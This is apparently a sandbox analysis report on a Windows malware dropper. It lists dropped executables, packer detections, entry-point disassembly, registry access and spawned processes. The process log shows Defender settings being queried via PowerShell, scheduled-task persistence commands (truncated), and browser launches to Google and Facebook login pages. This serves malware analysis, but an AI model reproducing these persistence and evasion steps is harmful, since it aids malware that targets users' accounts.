"6vx5my2.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71170000 "6vx5my2.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "6vx5my2.exe" loaded module "KERNEL32" at base 75fc0000 "6vx5my2.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "6vx5my2.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74b00000 "6vx5my2.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74f90000 "6vx5my2.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74fa0000 "6vx5my2.exe" loaded module "DNSAPI.DLL" at base 74e60000 "6vx5my2.exe" loaded module "IPHLPAPI.DLL" at base 73920000 "6vx5my2.exe" loaded module "RASADHLP.DLL" at base 71e10000 "6vx5my2.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7389000046:Tc4e,"dcb10b49c7d8d03b15484c3ca04e7086.exe" was detected as "Microsoft Cabinet" and name: "sfx" "dcb10b49c7d8d03b15484c3ca04e7086.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "dcb10b49c7d8d03b15484c3ca04e7086.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "dcb10b49c7d8d03b15484c3ca04e7086.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "dcb10b49c7d8d03b15484c3ca04e7086.exe" was detected as "Microsoft Linker" and name: "Linker" "tv5xp30.exe" was detected as "Microsoft Cabinet" and name: "sfx" "tv5xp30.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "tv5xp30.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "tv5xp30.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "tv5xp30.exe" was detected as "Microsoft Linker" and name: "Linker" "AD1Sg20.exe" was detected as "Microsoft Cabinet" and name: "sfx" "AD1Sg20.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "AD1Sg20.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "AD1Sg20.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "AD1Sg20.exe" was detected as "Microsoft Linker" and name: "Linker" "FANBooster131.exe" was detected as "Microsoft Cabinet" and name: "sfx" "FANBooster131.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "FANBooster131.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "FANBooster131.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "FANBooster131.exe" was detected as "Microsoft Linker" and name: "Linker" "2kJ9830.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2kJ9830.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2kJ9830.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2kJ9830.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2kJ9830.exe" was detected as "Microsoft Linker" and name: "Linker" "sqlite3.dll" was detected as "Microsoft Cabinet" and name: "sfx" "sqlite3.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "sqlite3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "sqlite3.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "sqlite3.dll" was detected as "Microsoft Linker" and name: "Linker" "6vx5my2.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6vx5my2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6vx5my2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6vx5my2.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6vx5my2.exe" was detected as "Microsoft Linker" and name: "Linker" "7oU4qf55.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7oU4qf55.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7oU4qf55.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7oU4qf55.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7oU4qf55.exe" was detected as "Microsoft Linker" and name: "Linker"47:Tc53,"2kJ9830.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "2kJ9830.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "2kJ9830.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "2kJ9830.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS") "5Jy6wg6.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\INPROCSERVER32") "5Jy6wg6.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5Jy6wg6.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "5Jy6wg6.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "5Jy6wg6.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "5Jy6wg6.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "5Jy6wg6.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "5Jy6wg6.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "5Jy6wg6.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "5Jy6wg6.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "5Jy6wg6.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "5Jy6wg6.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" touched "Start Menu Pin" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}") "powershell.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\TREATAS") "powershell.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") "powershell.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") "powershell.exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}")48:T119c,"dcb10b49c7d8d03b15484c3ca04e7086.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "tv5xp30.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "AD1Sg20.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "FANBooster131.exe" file has an entrypoint instructions - "jmp 0x85c44e,add byte ptr [eax + ecx], dl,add byte ptr [eax], al,add byte ptr [eax], al,pushal ,call 0x85c454,pop ebp,sub ebp, 0x10,sub ebp, 0x45c444,jmp 0x85c46a,out 0x70, al,jecxz 0x85c4a7,mov eax, 0x45c444,add eax, ebp,add eax, 0x4c,mov ecx, 0x5f2,mov edx, 0x7405a294,xor byte ptr [eax], dl,inc eax,dec ecx,jne 0x85c481,jmp 0x85c494,pop ss,les esi, ptr [esi + ebp*4 + 0x1f],pop ecx,pop ds,sbb eax, 0x949494a8,adc eax, 0x94946c55,xchg eax, esp,xchg eax, edi,pop ecx,sub al, 0x90,xchg eax, esp,xchg eax, esp," "2kJ9830.exe" file has an entrypoint instructions - "call 0x420aea,jmp 0x4203fb,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fdf0,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x49fdf8,mov dword ptr [ecx], 0x49fdf0,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x4205e7,mov dword ptr [esi], 0x49fe0c,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0," "sqlite3.dll" file has an entrypoint instructions - "jmp 0x100a9752,jmp 0x10084dd0,jmp 0x10083310,jmp 0x100a7460,jmp 0x100a8840,jmp 0x10084c70,jmp 0x10082e10,jmp 0x10086cc0,jmp 0x10089a90,jmp 0x100824e0,jmp 0x100867c0,jmp 0x10086020,jmp 0x10084340,jmp 0x100a9f11,jmp 0x100aa3db,jmp 0x100a86ef,jmp 0x10088a80,jmp 0x10089260,jmp 0x10089c60,jmp 0x100a9d91," "6vx5my2.exe" file has an entrypoint instructions - "call 0x405a69,jmp 0x401f8b,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov edx, dword ptr [esp + 0xc],mov ecx, dword ptr [esp + 4],test edx, edx,je 0x402195,xor eax, eax,mov al, byte ptr [esp + 8],test al, al,jne 0x40214c,cmp edx, 0x100,jb 0x40214c,cmp dword ptr [0x870088], 0,je 0x40214c,jmp 0x405b56,push edi,mov edi, ecx,cmp edx, 4,jb 0x402185,neg ecx,and ecx, 3,je 0x402167,sub edx, ecx,mov byte ptr [edi], al,add edi, 1,sub ecx, 1,jne 0x40215d,mov ecx, eax,shl eax, 8," "7oU4qf55.exe" file has an entrypoint instructions - "call 0x4031a7,jne 0x4031af,je 0x4031af,jnp 0x403153,and dword ptr [ecx - 0x74fb3b7d], ecx,pop esp,and al, 0xfc,jmp 0x4031c2,add al, 0x81,jmp 0x403163,xor dword ptr [eax], eax,add bl, ch,add eax, 0x4f5eb20,and byte ptr [edi + eax + 0x75], dh,add eax, 0xb1d340c7,rol bh, 1,inc esp,and al, 0xfc,xor byte ptr [eax], al,add byte ptr [eax], al,sub esp, 4,jne 0x4031e2,je 0x4031e2,int3 ,dec esi,xchg eax, esi,add eax, dword ptr [ebx + 0x548b04c4],and al, 0xfc,jmp 0x4031f1,add al, 0x29,shr bl, 5,add ch, bl,stc ,add al, 2,jmp 0x4031fc,or byte ptr [edx], cl,loop 0x403246,mov byte ptr [ebx + eax + 2], ah,je 0x403206,jne 0x403206,mov cl, 0xb5,dec edi,"49:T4e7,Observed system executable string:"/C:\ PROGRA~2Vyd* MICROS~1VQt* WindowsSTARTM~1ProgramsVyd*ACCESS~1WINDOW~1WINDOW~1.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSdet-pwhkyqointc/C:\ PROGRA~2Vyd* MICROS~1VQt* WindowsSTARTM~1ProgramsVyd*ACCESS~1WINDOW~1WINDOW~1.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSdet-pwhkyqointc/C:\WindowsWEn*System32WEn*WINDOW~1v1.0powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exe1SPS1SPSdet-pwhkyqointc/C:\WindowsWEn*hh.exeC:\Windows\hh.exe%systemroot%\hh.exe1SPS1SPSdet-pwhkyqointc" [Source: Z8NAZ10WZTASIK6TZ64W.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00005884-00000C28-7482675577] Observed system executable string:"%WINDIR%\system32\schtasks.exe" [Source: 00000000-00001736-00000C25-74581587]4a:T89e,"dcb10b49c7d8d03b15484c3ca04e7086.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "tv5xp30.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tv5xp30.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "AD1Sg20.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "AD1Sg20.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "2kJ9830.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2kJ9830.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "2kJ9830.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR-SA") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR-SA") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG-BG") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG-BG") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA-ES") "5Jy6wg6.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA-ES")4b:T520,Found string "" (Indicator: "text/javascript"; File: "PHKEK4QM.htm") Found string "" (Indicator: "text/javascript"; File: "PHKEK4QM.htm") Found string "" (Indicator: "text/javascript"; File: "PHKEK4QM.htm") Found string "" (Indicator: "text/javascript"; File: "PHKEK4QM.htm")4c:Tf0f,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00005176.00001438.869861.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00005184-00000C25-37801580] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00005184-00000BC1-37813500] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00005220-00000BC1-38487439] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00005176-00000BC1-39353941] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005160-00000C25-39903988] Observed system executable string:"%WINDIR%\System32\ieframe.dll" [Source: 00000000-00005160-00000C25-40984791] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00005528-00000C25-48824660] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00005528-00000C25-49028493] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00005528-00000C25-49588167] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00005528-00000C25-49697911] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00005528-00000C25-49879980] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00005528-00000C25-49921809] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00005528-00000C25-50009974] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00005528-00000C25-50159720] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00005528-00000C25-50217860] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\f73f48afb5512225dedaee9c88ac5050\Microsoft.CSharp.ni.dll" [Source: 00000000-00005528-00000C25-50274696] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00005528-00000C25-50434876] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00005528-00000C25-50483736] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00005528-00000C25-50788840] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00005528-00000C25-50902838] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005528-00000C25-51159100] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00005528-00000C25-69704744] Observed system executable string:"%WINDIR%\System32\shdocvw.dll" [Source: 00000000-00005528-00000C25-71223385] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" [Source: 00000000-00005528-00000C25-79096062]4d:T689,Spawned process "tv5xp30.exe" (UID: 00000000-00005220) Spawned process "AD1Sg20.exe" (UID: 00000000-00005176) Spawned process "2kJ9830.exe" (UID: 00000000-00005160) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00004840) Spawned process "iexplore.exe" with commandline "https://facebook.com/login" (UID: 00000000-00005284) Spawned process "iexplore.exe" with commandline "https://www.youtube.com/" (UID: 00000000-00005372) Spawned process "iexplore.exe" with commandline "SCODEF:4840 CREDAT:472065 /prefetch:2" (UID: 00000000-00005424) Spawned process "iexplore.exe" with commandline "SCODEF:5372 CREDAT:275457 /prefetch:2" (UID: 00000000-00005572) Spawned process "5Jy6wg6.exe" (UID: 00000000-00005528) Spawned process "iexplore.exe" with commandline "SCODEF:5284 CREDAT:275457 /prefetch:2" (UID: 00000000-00005500) Spawned process "powershell.exe" with commandline ""powershell" Get-MpPreference -verbose" (UID: 00000000-00005884) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Of ..." (UID: 00000000-00003412), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Offi ..." (UID: 00000000-00001736) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Of ..." (UID: 00000000-00003580), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Offi ..." (UID: 00000000-00002180) Spawned process "6vx5my2.exe" (UID: 00000000-00004104) Spawned process "7oU4qf55.exe" (UID: 00000000-00003032)4e:T689,Spawned process "tv5xp30.exe" (UID: 00000000-00005220) Spawned process "AD1Sg20.exe" (UID: 00000000-00005176) Spawned process "2kJ9830.exe" (UID: 00000000-00005160) Spawned process "iexplore.exe" with commandline "https://accounts.google.com/" (UID: 00000000-00004840) Spawned process "iexplore.exe" with commandline "https://facebook.com/login" (UID: 00000000-00005284) Spawned process "iexplore.exe" with commandline "https://www.youtube.com/" (UID: 00000000-00005372) Spawned process "iexplore.exe" with commandline "SCODEF:4840 CREDAT:472065 /prefetch:2" (UID: 00000000-00005424) Spawned process "iexplore.exe" with commandline "SCODEF:5372 CREDAT:275457 /prefetch:2" (UID: 00000000-00005572) Spawned process "5Jy6wg6.exe" (UID: 00000000-00005528) Spawned process "iexplore.exe" with commandline "SCODEF:5284 CREDAT:275457 /prefetch:2" (UID: 00000000-00005500) Spawned process "powershell.exe" with commandline ""powershell" Get-MpPreference -verbose" (UID: 00000000-00005884) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Of ..." (UID: 00000000-00003412), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Offi ..." (UID: 00000000-00001736) Spawned process "cmd.exe" with commandline "/c schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Of ..." (UID: 00000000-00003580), Spawned process "schtasks.exe" with commandline "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\\Offi ..." (UID: 00000000-00002180) Spawned process "6vx5my2.exe" (UID: 00000000-00004104) Spawned process "7oU4qf55.exe" (UID: 00000000-00003032)4f:T70f,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")50:T5d00,"tv5xp30.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\tv5xp30.exe]- [targetUID: 00000000-00005184] "AD1Sg20.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\AD1Sg20.exe]- [targetUID: 00000000-00005220] "FANBooster131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\FANBooster131\FANBooster131.exe]- [targetUID: 00000000-00005528] "2kJ9830.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\2kJ9830.exe]- [targetUID: 00000000-00005160] "sqlite3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\tempAVSnBPO13DQmhKZ\sqlite3.dll]- [targetUID: 00000000-00005528] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "6vx5my2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6vx5my2.exe]- [targetUID: 00000000-00004104] "7oU4qf55.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7oU4qf55.exe]- [targetUID: 00000000-00005184] "4lCu2zih0ca_1_.svg" has type "SVG Scalable Vector Graphics image"- [targetUID: N/A] "FANBooster131.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Archive ctime=Sat Dec 30 13:53:47 2023 mtime=Sat Dec 30 13:53:47 2023 atime=Sat Dec 30 13:31:46 2023 length=1527296 